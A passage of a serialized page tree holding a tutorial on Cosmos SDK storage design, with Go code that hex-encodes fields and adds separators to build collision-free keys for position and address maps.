,"children":88023},{"style":160},[88024],{"type":26,"value":189},{"type":21,"tag":153,"props":88026,"children":88027},{"style":181},[88028],{"type":26,"value":2456},{"type":21,"tag":153,"props":88030,"children":88031},{"style":160},[88032],{"type":26,"value":189},{"type":21,"tag":153,"props":88034,"children":88035},{"style":192},[88036],{"type":26,"value":88037},"positionName",{"type":21,"tag":153,"props":88039,"children":88040},{"style":160},[88041],{"type":26,"value":87919},{"type":21,"tag":153,"props":88043,"children":88044},{"class":155,"line":3204},[88045],{"type":21,"tag":153,"props":88046,"children":88047},{"style":160},[88048],{"type":26,"value":5909},{"type":21,"tag":153,"props":88050,"children":88051},{"class":155,"line":3230},[88052,88056,88060,88064,88068,88072,88076,88080],{"type":21,"tag":153,"props":88053,"children":88054},{"style":192},[88055],{"type":26,"value":87934},{"type":21,"tag":153,"props":88057,"children":88058},{"style":160},[88059],{"type":26,"value":355},{"type":21,"tag":153,"props":88061,"children":88062},{"style":181},[88063],{"type":26,"value":87943},{"type":21,"tag":153,"props":88065,"children":88066},{"style":160},[88067],{"type":26,"value":189},{"type":21,"tag":153,"props":88069,"children":88070},{"style":192},[88071],{"type":26,"value":87978},{"type":21,"tag":153,"props":88073,"children":88074},{"style":160},[88075],{"type":26,"value":1670},{"type":21,"tag":153,"props":88077,"children":88078},{"style":192},[88079],{"type":26,"value":88037},{"type":21,"tag":153,"props":88081,"children":88082},{"style":160},[88083],{"type":26,"value":5909},{"type":21,"tag":153,"props":88085,"children":88086},{"class":155,"line":3239},[88087],{"type":21,"tag":153,"props":88088,"children":88089},{"emptyLinePlaceholder":16},[88090],{"type":26,"value":759},{"type":21,"tag":153,"props":88092,"children":88093},{"class":155,"line":3253},[88094,88098,88102,88106,88110,88114],{"type":21,"tag":153,"props":88095,"children":88096},{"style":192},[88097],{"type":26,"value":87503},{"type":21,"tag":153,"props":88099,"children":88100},{"style":198},[88101],{"type":26,"value":78713},{"type":21,"tag":153,"props":88103,"children":88104},{"style":192},[88105],{"type":26,"value":84531},{"type":21,"tag":153,"props":88107,"children":88108},{"style":160},[88109],{"type":26,"value":355},{"type":21,"tag":153,"props":88111,"children":88112},{"style":181},[88113],{"type":26,"value":87520},{"type":21,"tag":153,"props":88115,"children":88116},{"style":160},[88117],{"type":26,"value":773},{"type":21,"tag":153,"props":88119,"children":88120},{"class":155,"line":3301},[88121,88125],{"type":21,"tag":153,"props":88122,"children":88123},{"style":671},[88124],{"type":26,"value":87686},{"type":21,"tag":153,"props":88126,"children":88127},{"style":160},[88128],{"type":26,"value":792},{"type":21,"tag":153,"props":88130,"children":88131},{"class":155,"line":3346},[88132,88136],{"type":21,"tag":153,"props":88133,"children":88134},{"style":192},[88135],{"type":26,"value":87544},{"type":21,"tag":153,"props":88137,"children":88138},{"style":160},[88139],{"type":26,"value":792},{"type":21,"tag":153,"props":88141,"children":88142},{"class":155,"line":3355},[88143,88147],{"type":21,"tag":153,"props":88144,"children":88145},{"style":192},[88146],{"type":26,"value":87628},{"type":21,"tag":153,"props":88148,"children":88149},{"style":160},[88150],{"type":26,"value":792},{"type":21,"tag":153,"props":88152,"children":88153},{"class":155,"line":3364},[88154,88159],{"type":21,"tag":153,"props":88155,"children":88156},{"style":192},[88157],{"type":26,"value":88158},"    usernameEncoded",{"type":21,"tag":153,"props":88160,"children":88161},{"style":160},[88162],{"type":26,"value":792},{"type":21,"tag":153,"props":88164,"children":88165},{"class":155,"line":3376},[88166,88170],{"type":21,"tag":153,"props":88167,"children":88168},{"style":192},[88169],{"type":26,"value":87628},{"type":21,"tag":153,"props":88171,"children":88172},{"style":160},[88173],{"type":26,"value":792},{"type":21,"tag":153,"props":88175,"children":88176},{"class":155,"line":3393},[88177],{"type":21,"tag":153,"props":88178,"children":88179},{"style":192},[88180],{"type":26,"value":88181},"    positionNameEncoded\n",{"type":21,"tag":153,"props":88183,"children":88184},{"class":155,"line":3405},[88185],{"type":21,"tag":153,"props":88186,"children":88187},{"style":160},[88188],{"type":26,"value":5909},{"type":21,"tag":22,"props":88190,"children":88191},{},[88192,88194,88199],{"type":26,"value":88193},"We did it. We finally eliminated all potential ",{"type":21,"tag":78,"props":88195,"children":88197},{"className":88196},[],[88198],{"type":26,"value":87503},{"type":26,"value":88200}," collisions.",{"type":21,"tag":22,"props":88202,"children":88203},{},[88204],{"type":26,"value":88205},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":21,"tag":22,"props":88207,"children":88208},{},[88209,88211,88217,88219,88224,88226,88231,88233,88238,88240,88246],{"type":26,"value":88210},"In the Cosmos framework, it is common for each ",{"type":21,"tag":78,"props":88212,"children":88214},{"className":88213},[],[88215],{"type":26,"value":88216},"Module",{"type":26,"value":88218}," to own a few ",{"type":21,"tag":78,"props":88220,"children":88222},{"className":88221},[],[88223],{"type":26,"value":87274},{"type":26,"value":88225}," and have individual ",{"type":21,"tag":78,"props":88227,"children":88229},{"className":88228},[],[88230],{"type":26,"value":82242},{"type":26,"value":88232},"s managing access to storages. It's also important to note that each ",{"type":21,"tag":78,"props":88234,"children":88236},{"className":88235},[],[88237],{"type":26,"value":87274},{"type":26,"value":88239}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":21,"tag":78,"props":88241,"children":88243},{"className":88242},[],[88244],{"type":26,"value":88245},"Modules",{"type":26,"value":355},{"type":21,"tag":22,"props":88248,"children":88249},{},[88250,88252,88257],{"type":26,"value":88251},"With that being said, what if we have to maintain more than one structure within the same ",{"type":21,"tag":78,"props":88253,"children":88255},{"className":88254},[],[88256],{"type":26,"value":87274},{"type":26,"value":2022},{"type":21,"tag":22,"props":88259,"children":88260},{},[88261,88263,88269,88271,88276],{"type":26,"value":88262},"To demonstrate this scenario, we introduce the ",{"type":21,"tag":78,"props":88264,"children":88266},{"className":88265},[],[88267],{"type":26,"value":88268},"NameToAddressMap",{"type":26,"value":88270}," structure, which will be stored in the same ",{"type":21,"tag":78,"props":88272,"children":88274},{"className":88273},[],[88275],{"type":26,"value":87274},{"type":26,"value":88277}," we previously used.",{"type":21,"tag":143,"props":88279,"children":88281},{"code":88280,"language":78461,"meta":7,"className":78462,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[88282],{"type":21,"tag":78,"props":88283,"children":88284},{"__ignoreMap":7},[88285,88300,88315,88322,88337,88356,88371,88378,88393,88448,88455,88471,88491,88506,88513,88529],{"type":21,"tag":153,"props":88286,"children":88287},{"class":155,"line":156},[88288,88292,88296],{"type":21,"tag":153,"props":88289,"children":88290},{"style":170},[88291],{"type":26,"value":35450},{"type":21,"tag":153,"props":88293,"children":88294},{"style":214},[88295],{"type":26,"value":87320},{"type":21,"tag":153,"props":88297,"children":88298},{"style":214},[88299],{"type":26,"value":78499},{"type":21,"tag":153,"props":88301,"children":88302},{"class":155,"line":166},[88303,88307,88311],{"type":21,"tag":153,"props":88304,"children":88305},{"style":170},[88306],{"type":26,"value":35450},{"type":21,"tag":153,"props":88308,"children":88309},{"style":214},[88310],{"type":26,"value":87336},{"type":21,"tag":153,"props":88312,"children":88313},{"style":214},[88314],{"type":26,"value":87341},{"type":21,"tag":153,"props":88316,"children":88317},{"class":155,"line":225},[88318],{"type":21,"tag":153,"props":88319,"children":88320},{"emptyLinePlaceholder":16},[88321],{"type":26,"value":759},{"type":21,"tag":153,"props":88323,"children":88324},{"class":155,"line":239},[88325,88329,88333],{"type":21,"tag":153,"props":88326,"children":88327},{"style":170},[88328],{"type":26,"value":35450},{"type":21,"tag":153,"props":88330,"children":88331},{"style":214},[88332],{"type":26,"value":87353},{"type":21,"tag":153,"props":88334,"children":88335},{"style":214},[88336],{"type":26,"value":87341},{"type":21,"tag":153,"props":88338,"children":88339},{"class":155,"line":382},[88340,88344,88348,88352],{"type":21,"tag":153,"props":88341,"children":88342},{"style":170},[88343],{"type":26,"value":35450},{"type":21,"tag":153,"props":88345,"children":88346},{"style":214},[88347],{"type":26,"value":10153},{"type":21,"tag":153,"props":88349,"children":88350},{"style":170},[88351],{"type":26,"value":23844},{"type":21,"tag":153,"props":88353,"children":88354},{"style":160},[88355],{"type":26,"value":236},{"type":21,"tag":153,"props":88357,"children":88358},{"class":155,"line":501},[88359,88363,88367],{"type":21,"tag":153,"props":88360,"children":88361},{"style":192},[88362],{"type":26,"value":2920},{"type":21,"tag":153,"props":88364,"children":88365},{"style":160},[88366],{"type":26,"value":78524},{"type":21,"tag":153,"props":88368,"children":88369},{"style":214},[88370],{"type":26,"value":86525},{"type":21,"tag":153,"props":88372,"children":88373},{"class":155,"line":533},[88374],{"type":21,"tag":153,"props":88375,"children":88376},{"style":160},[88377],{"type":26,"value":548},{"type":21,"tag":153,"props":88379,"children":88380},{"class":155,"line":542},[88381,88385,88389],{"type":21,"tag":153,"props":88382,"children":88383},{"style":170},[88384],{"type":26,"value":35450},{"type":21,"tag":153,"props":88386,"children":88387},{"style":214},[88388],{"type":26,"value":87410},{"type":21,"tag":153,"props":88390,"children":88391},{"style":198},[88392],{"type":26,"value":87415},{"type":21,"tag":153,"props":88394,"children":88395},{"class":155,"line":762},[88396,88400,88404,88408,88412,88416,88420,88424,88428,88432,88436,88440,88444],{"type":21,"tag":153,"props":88397,"children":88398},{"style":170},[88399],{"type":26,"value":87423},{"type":21,"tag":153,"props":88401,"children":88402},{"style":160},[88403],{"type":26,"value":211},{"type":21,"tag":153,"props":88405,"children":88406},{"style":214},[88407],{"type":26,"value":87432},{"type":21,"tag":153,"props":88409,"children":88410},{"style":160},[88411],{"type":26,"value":350},{"type":21,"tag":153,"props":88413,"children":88414},{"style":170},[88415],{"type":26,"value":69396},{"type":21,"tag":153,"props":88417,"children":88418},{"style":160},[88419],{"type":26,"value":211},{"type":21,"tag":153,"props":88421,"children":88422},{"style":214},[88423],{"type":26,"value":87449},{"type":21,"tag":153,"props":88425,"children":88426},{"style":160},[88427],{"type":26,"value":350},{"type":21,"tag":153,"props":88429,"children":88430},{"style":170},[88431],{"type":26,"value":69396},{"type":21,"tag":153,"props":88433,"children":88434},{"style":160},[88435],{"type":26,"value":211},{"type":21,"tag":153,"props":88437,"children":88438},{"style":214},[88439],{"type":26,"value":87466},{"type":21,"tag":153,"props":88441,"children":88442},{"style":160},[88443],{"type":26,"value":350},{"type":21,"tag":153,"props":88445,"children":88446},{"style":214},[88447],{"type":26,"value":87475},{"type":21,"tag":153,"props":88449,"children":88450},{"class":155,"line":776},[88451],{"type":21,"tag":153,"props":88452,"children":88453},{"emptyLinePlaceholder":16},[88454],{"type":26,"value":759},{"type":21,"tag":153,"props":88456,"children":88457},{"class":155,"line":795},[88458,88462,88467],{"type":21,"tag":153,"props":88459,"children":88460},{"style":170},[88461],{"type":26,"value":35450},{"type":21,"tag":153,"props":88463,"children":88464},{"style":214},[88465],{"type":26,"value":88466}," AddressName",{"type":21,"tag":153,"props":88468,"children":88469},{"style":214},[88470],{"type":26,"value":87341},{"type":21,"tag":153,"props":88472,"children":88473},{"class":155,"line":808},[88474,88478,88483,88487],{"type":21,"tag":153,"props":88475,"children":88476},{"style":170},[88477],{"type":26,"value":35450},{"type":21,"tag":153,"props":88479,"children":88480},{"style":214},[88481],{"type":26,"value":88482}," Address",{"type":21,"tag":153,"props":88484,"children":88485},{"style":170},[88486],{"type":26,"value":23844},{"type":21,"tag":153,"props":88488,"children":88489},{"style":160},[88490],{"type":26,"value":236},{"type":21,"tag":153,"props":88492,"children":88493},{"class":155,"line":820},[88494,88498,88502],{"type":21,"tag":153,"props":88495,"children":88496},{"style":192},[88497],{"type":26,"value":696},{"type":21,"tag":153,"props":88499,"children":88500},{"style":160},[88501],{"type":26,"value":78524},{"type":21,"tag":153,"props":88503,"children":88504},{"style":214},[88505],{"type":26,"value":86525},{"type":21,"tag":153,"props":88507,"children":88508},{"class":155,"line":842},[88509],{"type":21,"tag":153,"props":88510,"children":88511},{"style":160},[88512],{"type":26,"value":548},{"type":21,"tag":153,"props":88514,"children":88515},{"class":155,"line":3204},[88516,88520,88525],{"type":21,"tag":153,"props":88517,"children":88518},{"style":170},[88519],{"type":26,"value":35450},{"type":21,"tag":153,"props":88521,"children":88522},{"style":214},[88523],{"type":26,"value":88524}," AddressMap",{"type":21,"tag":153,"props":88526,"children":88527},{"style":198},[88528],{"type":26,"value":87415},{"type":21,"tag":153,"props":88530,"children":88531},{"class":155,"line":3230},[88532,88536,88540,88544,88548,88552,88556,88560,88564,88568,88572,88577,88581],{"type":21,"tag":153,"props":88533,"children":88534},{"style":170},[88535],{"type":26,"value":87423},{"type":21,"tag":153,"props":88537,"children":88538},{"style":160},[88539],{"type":26,"value":211},{"type":21,"tag":153,"props":88541,"children":88542},{"style":214},[88543],{"type":26,"value":87432},{"type":21,"tag":153,"props":88545,"children":88546},{"style":160},[88547],{"type":26,"value":350},{"type":21,"tag":153,"props":88549,"children":88550},{"style":170},[88551],{"type":26,"value":69396},{"type":21,"tag":153,"props":88553,"children":88554},{"style":160},[88555],{"type":26,"value":211},{"type":21,"tag":153,"props":88557,"children":88558},{"style":214},[88559],{"type":26,"value":87449},{"type":21,"tag":153,"props":88561,"children":88562},{"style":160},[88563],{"type":26,"value":350},{"type":21,"tag":153,"props":88565,"children":88566},{"style":170},[88567],{"type":26,"value":69396},{"type":21,"tag":153,"props":88569,"children":88570},{"style":160},[88571],{"type":26,"value":211},{"type":21,"tag":153,"props":88573,"children":88574},{"style":214},[88575],{"type":26,"value":88576},"AddressName",{"type":21,"tag":153,"props":88578,"children":88579},{"style":160},[88580],{"type":26,"value":350},{"type":21,"tag":153,"props":88582,"children":88583},{"style":214},[88584],{"type":26,"value":88585},"Address\n",{"type":21,"tag":22,"props":88587,"children":88588},{},[88589],{"type":26,"value":88590},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":21,"tag":143,"props":88592,"children":88594},{"code":88593,"language":78461,"meta":7,"className":78462,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[88595],{"type":21,"tag":78,"props":88596,"children":88597},{"__ignoreMap":7},[88598,88609,88624,88631,88638,88645,88661,88676,88703,88726,88745,88761,88797,88804,88839,88846,88866,88881,88916,88923,88958,88965,88993,89005,89017,89029,89041,89052,89064,89071,89078,89085,89092,89108,89123,89147,89170,89189,89204,89239,89246,89281,89288,89308,89323,89358,89365,89401,89408,89435,89446,89457,89468,89479,89490,89502,89509],{"type":21,"tag":153,"props":88599,"children":88600},{"class":155,"line":156},[88601,88605],{"type":21,"tag":153,"props":88602,"children":88603},{"style":170},[88604],{"type":26,"value":5085},{"type":21,"tag":153,"props":88606,"children":88607},{"style":160},[88608],{"type":26,"value":80863},{"type":21,"tag":153,"props":88610,"children":88611},{"class":155,"line":166},[88612,88616,88620],{"type":21,"tag":153,"props":88613,"children":88614},{"style":192},[88615],{"type":26,"value":87628},{"type":21,"tag":153,"props":88617,"children":88618},{"style":198},[88619],{"type":26,"value":255},{"type":21,"tag":153,"props":88621,"children":88622},{"style":671},[88623],{"type":26,"value":87637},{"type":21,"tag":153,"props":88625,"children":88626},{"class":155,"line":225},[88627],{"type":21,"tag":153,"props":88628,"children":88629},{"style":160},[88630],{"type":26,"value":5909},{"type":21,"tag":153,"props":88632,"children":88633},{"class":155,"line":239},[88634],{"type":21,"tag":153,"props":88635,"children":88636},{"emptyLinePlaceholder":16},[88637],{"type":26,"value":759},{"type":21,"tag":153,"props":88639,"children":88640},{"class":155,"line":382},[88641],{"type":21,"tag":153,"props":88642,"children":88643},{"emptyLinePlaceholder":16},[88644],{"type":26,"value":759},{"type":21,"tag":153,"props":88646,"children":88647},{"class":155,"line":501},[88648,88652,88657],{"type":21,"tag":153,"props":88649,"children":88650},{"style":170},[88651],{"type":26,"value":78597},{"type":21,"tag":153,"props":88653,"children":88654},{"style":181},[88655],{"type":26,"value":88656}," PositionMapKey",{"type":21,"tag":153,"props":88658,"children":88659},{"style":160},[88660],{"type":26,"value":773},{"type":21,"tag":153,"props":88662,"children":88663},{"class":155,"line":533},[88664,88668,88672],{"type":21,"tag":153,"props":88665,"children":88666},{"style":192},[88667],{"type":26,"value":87544},{"type":21,"tag":153,"props":88669,"children":88670},{"style":214},[88671],{"type":26,"value":78718},{"type":21,"tag":153,"props":88673,"children":88674},{"style":160},[88675],{"type":26,"value":792},{"type":21,"tag":153,"props":88677,"children":88678},{"class":155,"line":542},[88679,88683,88687,88691,88695,88699],{"type":21,"tag":153,"props":88680,"children":88681},{"style":192},[88682],{"type":26,"value":87556},{"type":21,"tag":153,"props":88684,"children":88685},{"style":160},[88686],{"type":26,"value":1670},{"type":21,"tag":153,"props":88688,"children":88689},{"style":192},[88690],{"type":26,"value":88037},{"type":21,"tag":153,"props":88692,"children":88693},{"style":160},[88694],{"type":26,"value":78524},{"type":21,"tag":153,"props":88696,"children":88697},{"style":214},[88698],{"type":26,"value":87062},{"type":21,"tag":153,"props":88700,"children":88701},{"style":160},[88702],{"type":26,"value":792},{"type":21,"tag":153,"props":88704,"children":88705},{"class":155,"line":762},[88706,88710,88714,88718,88722],{"type":21,"tag":153,"props":88707,"children":88708},{"style":160},[88709],{"type":26,"value":78679},{"type":21,"tag":153,"props":88711,"children":88712},{"style":192},[88713],{"type":26,"value":74451},{"type":21,"tag":153,"props":88715,"children":88716},{"style":160},[88717],{"type":26,"value":78524},{"type":21,"tag":153,"props":88719,"children":88720},{"style":214},[88721],{"type":26,"value":87062},{"type":21,"tag":153,"props":88723,"children":88724},{"style":160},[88725],{"type":26,"value":2659},{"type":21,"tag":153,"props":88727,"children":88728},{"class":155,"line":776},[88729,88733,88737,88741],{"type":21,"tag":153,"props":88730,"children":88731},{"style":192},[88732],{"type":26,"value":88158},{"type":21,"tag":153,"props":88734,"children":88735},{"style":198},[88736],{"type":26,"value":78713},{"type":21,"tag":153,"props":88738,"children":88739},{"style":181},[88740],{"type":26,"value":87861},{"type":21,"tag":153,"props":88742,"children":88743},{"style":160},[88744],{"type":26,"value":773},{"type":21,"tag":153,"props":88746,"children":88747},{"class":155,"line":795},[88748,88753,88757],{"type":21,"tag":153,"props":88749,"children":88750},{"style":160},[88751],{"type":26,"value":88752},"        []",{"type":21,"tag":153,"props":88754,"children":88755},{"style":214},[88756],{"type":26,"value":87062},{"type":21,"tag":153,"props":88758,"children":88759},{"style":160},[88760],{"type":26,"value":792},{"type":21,"tag":153,"props":88762,"children":88763},{"class":155,"line":808},[88764,88769,88773,88777,88781,88785,88789,88793],{"type":21,"tag":153,"props":88765,"children":88766},{"style":192},[88767],{"type":26,"value":88768},"        hex",{"type":21,"tag":153,"props":88770,"children":88771},{"style":160},[88772],{"type":26,"value":355},{"type":21,"tag":153,"props":88774,"children":88775},{"style":181},[88776],{"type":26,"value":87898},{"type":21,"tag":153,"props":88778,"children":88779},{"style":160},[88780],{"type":26,"value":189},{"type":21,"tag":153,"props":88782,"children":88783},{"style":181},[88784],{"type":26,"value":2456},{"type":21,"tag":153,"props":88786,"children":88787},{"style":160},[88788],{"type":26,"value":189},{"type":21,"tag":153,"props":88790,"children":88791},{"style":192},[88792],{"type":26,"value":87768},{"type":21,"tag":153,"props":88794,"children":88795},{"style":160},[88796],{"type":26,"value":87919},{"type":21,"tag":153,"props":88798,"children":88799},{"class":155,"line":820},[88800],{"type":21,"tag":153,"props":88801,"children":88802},{"style":160},[88803],{"type":26,"value":26616},{"type":21,"tag":153,"props":88805,"children":88806},{"class":155,"line":842},[88807,88811,88815,88819,88823,88827,88831,88835],{"type":21,"tag":153,"props":88808,"children":88809},{"style":192},[88810],{"type":26,"value":87889},{"type":21,"tag":153,"props":88812,"children":88813},{"style":160},[88814],{"type":26,"value":355},{"type":21,"tag":153,"props":88816,"children":88817},{"style":181},[88818],{"type":26,"value":87943},{"type":21,"tag":153,"props":88820,"children":88821},{"style":160},[88822],{"type":26,"value":189},{"type":21,"tag":153,"props":88824,"children":88825},{"style":192},[88826],{"type":26,"value":87852},{"type":21,"tag":153,"props":88828,"children":88829},{"style":160},[88830],{"type":26,"value":1670},{"type":21,"tag":153,"props":88832,"children":88833},{"style":192},[88834],{"type":26,"value":87768},{"type":21,"tag":153,"props":88836,"children":88837},{"style":160},[88838],{"type":26,"value":5909},{"type":21,"tag":153,"props":88840,"children":88841},{"class":155,"line":3204},[88842],{"type":21,"tag":153,"props":88843,"children":88844},{"emptyLinePlaceholder":16},[88845],{"type":26,"value":759},{"type":21,"tag":153,"props":88847,"children":88848},{"class":155,"line":3230},[88849,88854,88858,88862],{"type":21,"tag":153,"props":88850,"children":88851},{"style":192},[88852],{"type":26,"value":88853},"    positionNameEncoded",{"type":21,"tag":153,"props":88855,"children":88856},{"style":198},[88857],{"type":26,"value":78713},{"type":21,"tag":153,"props":88859,"children":88860},{"style":181},[88861],{"type":26,"value":87861},{"type":21,"tag":153,"props":88863,"children":88864},{"style":160},[88865],{"type":26,"value":773},{"type":21,"tag":153,"props":88867,"children":88868},{"class":155,"line":3239},[88869,88873,88877],{"type":21,"tag":153,"props":88870,"children":88871},{"style":160},[88872],{"type":26,"value":88752},{"type":21,"tag":153,"props":88874,"children":88875},{"style":214},[88876],{"type":26,"value":87062},{"type":21,"tag":153,"props":88878,"children":88879},{"style":160},[88880],{"type":26,"value":792},{"type":21,"tag":153,"props":88882,"children":88883},{"class":155,"line":3253},[88884,88888,88892,88896,88900,88904,88908,88912],{"type":21,"tag":153,"props":88885,"children":88886},{"style":192},[88887],{"type":26,"value":88768},{"type":21,"tag":153,"props":88889,"children":88890},{"style":160},[88891],{"type":26,"value":355},{"type":21,"tag":153,"props":88893,"children":88894},{"style":181},[88895],{"type":26,"value":87898},{"type":21,"tag":153,"props":88897,"children":88898},{"style":160},[88899],{"type":26,"value":189},{"type":21,"tag":153,"props":88901,"children":88902},{"style":181},[88903],{"type":26,"value":2456},{"type":21,"tag":153,"props":88905,"children":88906},{"style":160},[88907],{"type":26,"value":189},{"type":21,"tag":153,"props":88909,"children":88910},{"style":192},[88911],{"type":26,"value":88037},{"type":21,"tag":153,"props":88913,"children":88914},{"style":160},[88915],{"type":26,"value":87919},{"type":21,"tag":153,"props":88917,"children":88918},{"class":155,"line":3301},[88919],{"type":21,"tag":153,"props":88920,"children":88921},{"style":160},[88922],{"type":26,"value":26616},{"type":21,"tag":153,"props":88924,"children":88925},{"class":155,"line":3346},[88926,88930,88934,88938,88942,88946,88950,88954],{"type":21,"tag":153,"props":88927,"children":88928},{"style":192},[88929],{"type":26,"value":87889},{"type":21,"tag":153,"props":88931,"children":88932},{"style":160},[88933],{"type":26,"value":355},{"type":21,"tag":153,"props":88935,"children":88936},{"style":181},[88937],{"type":26,"value":87943},{"type":21,"tag":153,"props":88939,"children":88940},{"style":160},[88941],{"type":26,"value":189},{"type":21,"tag":153,"props":88943,"children":88944},{"style":192},[88945],{"type":26,"value":87978},{"type":21,"tag":153,"props":88947,"children":88948},{"style":160},[88949],{"type":26,"value":1670},{"type":21,"tag":153,"props":88951,"children":88952},{"style":192},[88953],{"type":26,"value":88037},{"type":21,"tag":153,"props":88955,"children":88956},{"style":160},[88957],{"type":26,"value":5909},{"type":21,"tag":153,"props":88959,"children":88960},{"class":155,"line":3355},[88961],{"type":21,"tag":153,"props":88962,"children":88963},{"emptyLinePlaceholder":16},[88964],{"type":26,"value":759},{"type":21,"tag":153,"props":88966,"children":88967},{"class":155,"line":3364},[88968,88973,88977,88981,88985,88989],{"type":21,"tag":153,"props":88969,"children":88970},{"style":192},[88971],{"type":26,"value":88972},"    key",{"type":21,"tag":153,"props":88974,"children":88975},{"style":198},[88976],{"type":26,"value":78713},{"type":21,"tag":153,"props":88978,"children":88979},{"style":192},[88980],{"type":26,"value":84531},{"type":21,"tag":153,"props":88982,"children":88983},{"style":160},[88984],{"type":26,"value":355},{"type":21,"tag":153,"props":88986,"children":88987},{"style":181},[88988],{"type":26,"value":87520},{"type":21,"tag":153,"props":88990,"children":88991},{"style":160},[88992],{"type":26,"value":773},{"type":21,"tag":153,"props":88994,"children":88995},{"class":155,"line":3376},[88996,89001],{"type":21,"tag":153,"props":88997,"children":88998},{"style":671},[88999],{"type":26,"value":89000},"        \"%d%s%s%s%s\"",{"type":21,"tag":153,"props":89002,"children":89003},{"style":160},[89004],{"type":26,"value":792},{"type":21,"tag":153,"props":89006,"children":89007},{"class":155,"line":3393},[89008,89013],{"type":21,"tag":153,"props":89009,"children":89010},{"style":192},[89011],{"type":26,"value":89012},"        vaultId",{"type":21,"tag":153,"props":89014,"children":89015},{"style":160},[89016],{"type":26,"value":792},{"type":21,"tag":153,"props":89018,"children":89019},{"class":155,"line":3405},[89020,89025],{"type":21,"tag":153,"props":89021,"children":89022},{"style":192},[89023],{"type":26,"value":89024},"        Seperator",{"type":21,"tag":153,"props":89026,"children":89027},{"style":160},[89028],{"type":26,"value":792},{"type":21,"tag":153,"props":89030,"children":89031},{"class":155,"line":3427},[89032,89037],{"type":21,"tag":153,"props":89033,"children":89034},{"style":192},[89035],{"type":26,"value":89036},"        usernameEncoded",{"type":21,"tag":153,"props":89038,"children":89039},{"style":160},[89040],{"type":26,"value":792},{"type":21,"tag":153,"props":89042,"children":89043},{"class":155,"line":3448},[89044,89048],{"type":21,"tag":153,"props":89045,"children":89046},{"style":192},[89047],{"type":26,"value":89024},{"type":21,"tag":153,"props":89049,"children":89050},{"style":160},[89051],{"type":26,"value":792},{"type":21,"tag":153,"props":89053,"children":89054},{"class":155,"line":3456},[89055,89060],{"type":21,"tag":153,"props":89056,"children":89057},{"style":192},[89058],{"type":26,"value":89059},"        positionNameEncoded",{"type":21,"tag":153,"props":89061,"children":89062},{"style":160},[89063],{"type":26,"value":792},{"type":21,"tag":153,"props":89065,"children":89066},{"class":155,"line":3493},[89067],{"type":21,"tag":153,"props":89068,"children":89069},{"style":160},[89070],{"type":26,"value":26616},{"type":21,"tag":153,"props":89072,"children":89073},{"class":155,"line":3509},[89074],{"type":21,"tag":153,"props":89075,"children":89076},{"style":160},[89077],{"type":26,"value":548},{"type":21,"tag":153,"props":89079,"children":89080},{"class":155,"line":3517},[89081],{"type":21,"tag":153,"props":89082,"children":89083},{"emptyLinePlaceholder":16},[89084],{"type":26,"value":759},{"type":21,"tag":153,"props":89086,"children":89087},{"class":155,"line":3526},[89088],{"type":21,"tag":153,"props":89089,"children":89090},{"emptyLinePlaceholder":16},[89091],{"type":26,"value":759},{"type":21,"tag":153,"props":89093,"children":89094},{"class":155,"line":3607},[89095,89099,89104],{"type":21,"tag":153,"props":89096,"children":89097},{"style":170},[89098],{"type":26,"value":78597},{"type":21,"tag":153,"props":89100,"children":89101},{"style":181},[89102],{"type":26,"value":89103}," AddressMapKey",{"type":21,"tag":153,"props":89105,"children":89106},{"style":160},[89107],{"type":26,"value":773},{"type":21,"tag":153,"props":89109,"children":89110},{"class":155,"line":3615},[89111,89115,89119],{"type":21,"tag":153,"props":89112,"children":89113},{"style":192},[89114],{"type":26,"value":87544},{"type":21,"tag":153,"props":89116,"children":89117},{"style":214},[89118],{"type":26,"value":78718},{"type":21,"tag":153,"props":89120,"children":89121},{"style":160},[89122],{"type":26,"value":792},{"type":21,"tag":153,"props":89124,"children":89125},{"class":155,"line":3629},[89126,89130,89134,89139,89143],{"type":21,"tag":153,"props":89127,"children":89128},{"style":192},[89129],{"type":26,"value":87556},{"type":21,"tag":153,"props":89131,"children":89132},{"style":160},[89133],{"type":26,"value":1670},{"type":21,"tag":153,"props":89135,"children":89136},{"style":192},[89137],{"type":26,"value":89138},"addressName",{"type":21,"tag":153,"props":89140,"children":89141},{"style":160},[89142],{"type":26,"value":78524},{"type":21,"tag":153,"props":89144,"children":89145},{"style":214},[89146],{"type":26,"value":86525},{"type":21,"tag":153,"props":89148,"children":89149},{"class":155,"line":26297},[89150,89154,89158,89162,89166],{"type":21,"tag":153,"props":89151,"children":89152},{"style":160},[89153],{"type":26,"value":78679},{"type":21,"tag":153,"props":89155,"children":89156},{"style":192},[89157],{"type":26,"value":74451},{"type":21,"tag":153,"props":89159,"children":89160},{"style":160},[89161],{"type":26,"value":78524},{"type":21,"tag":153,"props":89163,"children":89164},{"style":214},[89165],{"type":26,"value":87062},{"type":21,"tag":153,"props":89167,"children":89168},{"style":160},[89169],{"type":26,"value":2659},{"type":21,"tag":153,"props":89171,"children":89172},{"class":155,"line":26330},[89173,89177,89181,89185],{"type":21,"tag":153,"props":89174,"children":89175},{"